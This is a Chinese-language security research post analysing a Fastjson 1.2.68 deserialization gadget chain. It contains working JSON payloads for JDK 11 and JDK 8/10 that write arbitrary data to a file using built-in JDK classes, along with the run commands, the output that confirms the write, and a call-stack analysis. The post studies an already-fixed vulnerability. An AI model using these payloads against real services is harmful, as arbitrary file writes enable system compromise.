标题: 寻找Fastjson 1.2.68 AutoCloseable利用链(3)
创建: 2020-08-11 17:15 更新: 2021-05-28 10:06 链接: https://scz.617.cn/web/202008111715.txt
目录:
☆ 前言
☆ RMB122的PoC(只用自带库)
1) AutoCloseable_writefile_rmb122.json(适用于JDK 11)
3) MarshalOutputStream是ObjectOutputStream的子孙类
4) InflaterOutputStream负责写数据
5) AutoCloseable_writefile_rmb122_8.json(适用于JDK 8/10)
☆ 仅需依赖Commons IO 2.x写文件
☆ 前言
文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于 企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途, 否则产生的一切后果自行承担。
参看:
《寻找Fastjson 1.2.68 AutoCloseable利用链》 https://scz.617.cn/web/202008081723.txt
《寻找Fastjson 1.2.68 AutoCloseable利用链(2)》 https://scz.617.cn/web/202008100900.txt
2020年8月10日,ID为"存在感为零的小透明/RMB122"的网友分享了一个更神奇的PoC:
https://pastebin.com/ZwLxJZ2E
这个PoC很强大,只用自带库向指定文件写任意数据。他的PoC适用于JDK 11,我简单 改了一下,顺道提供适用于JDK 8/10的PoC,这两种PoC没法统一,原因见后文。
感慨一下。我在上周六分享了一个极小众PoC,不是我不想分享NB的PoC,实在是水平 有限,能弄出一个接近现实世界的就算祖上烧高香了。然后就开始时来运转,本周一 意外看到浅蓝的原始PoC,学习之后我又分享了(2)。然后RMB122在我微博下面给出本 文介绍的这个强大的PoC,学习之后我接着分享(3),也为世界添砖加瓦,大家互利互 惠么。这就是传说中老中医的连环炸,特别适用于不混圈子的散仙,各位渡劫的道友 有请了。
☆ RMB122的PoC(只用自带库)
1) AutoCloseable_writefile_rmb122.json(适用于JDK 11)
$ echo -ne "RMB122 is here" | openssl zlib | base64 -w 0 eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==
$ echo -ne "RMB122 is here" | openssl zlib | wc -c 22
关于此处所用压缩算法,参看:
《Java中的Deflate/Inflate》 https://scz.617.cn/web/202008111505.txt
{ '@type':"java.lang.AutoCloseable", '@type':'sun.rmi.server.MarshalOutputStream', 'out': { '@type':'java.util.zip.InflaterOutputStream', 'out': { '@type':'java.io.FileOutputStream', 'file':'dst', 'append':false }, 'infl': { 'input': { 'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==', 'limit':22 } }, 'bufLen':1048576 }, 'protocolVersion':1 }
该PoC只在JDK 11中测试成功,不依赖第三方库。
X:\Java\jdk-11.0.5\bin\java -cp "fastjson-1.2.68.jar;." FastjsonDeserialize2 AutoCloseable_writefile_rmb122.json
$ xxd -g 1 dst 00000000: 52 4d 42 31 32 32 20 69 73 20 68 65 72 65 RMB122 is here
3) MarshalOutputStream是ObjectOutputStream的子孙类
PoC中的MarshalOutputStream只负责flush(),地位与浅蓝选用的SerialOutput相当。
4) InflaterOutputStream负责写数据
FileOutputStream.write(byte[], int, int) line: 354
InflaterOutputStream.write(byte[], int, int) line: 255
ObjectOutputStream$BlockDataOutputStream.drain() line: 1883
ObjectOutputStream$BlockDataOutputStream.setBlockDataMode(boolean) line: 1792
MarshalOutputStream(ObjectOutputStream).
参看:
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/zip/InflaterOutputStream.html https://hg.openjdk.java.net/jdk-updates/jdk11u-dev/file/jdk-11.0.5+10/src/java.base/share/classes/java/util/zip/InflaterOutputStream.java
/ * java.util.zip.InflaterOutputStream.write(byte[], int, int) : void / public void write(byte[] b, int off, int len) throws IOException { ... // Write uncompressed data to the output stream try { for (;;) { int n; ... // Decompress and write blocks of output data do { / * 253行,解压 / n = inf.inflate(buf, 0, buf.length); if (n > 0) { / * 255行,写解压后的数据 / out.write(buf, 0, n); } } while (n > 0); ... }
5) AutoCloseable_writefile_rmb122_8.json(适用于JDK 8/10)
以8u232为例,"java.util.zip.Inflater"没有名为input的成员,只有成员 "byte[] buf",其对应的setter是:
java.util.zip.Inflater.setInput(byte[]) : void
据此修改PoC。
{ '@type':"java.lang.AutoCloseable", '@type':'sun.rmi.server.MarshalOutputStream', 'out': { '@type':'java.util.zip.InflaterOutputStream', 'out': { '@type':'java.io.FileOutputStream', 'file':'dst', 'append':false }, 'infl': { 'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==' }, 'bufLen':1048576 }, 'protocolVersion':1 }
java \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize2 AutoCloseable_writefile_rmb122_8.json
MarshalOutputStream、InflaterOutputStream、FileOutputStream用的都是有参构 造函数,全部面临ASMUtils.lookupParameterNames()的检查。
目标环境中的jar包或modules文件是否保留调试信息,只能case by case检查了。我 的RedHat 7.6中的8u232、Debian 9中的10.0.2、Windows中的11.0.5都带调试信息, 但Windows中的8u221就不带;或许Linux中的大部分都带,而Windows中11以前的都不 带?这种猜测没啥意义,也就顺嘴一胡猜。
☆ 仅需依赖Commons IO 2.x写文件
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 - voidfyoo [2021-05-27] https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg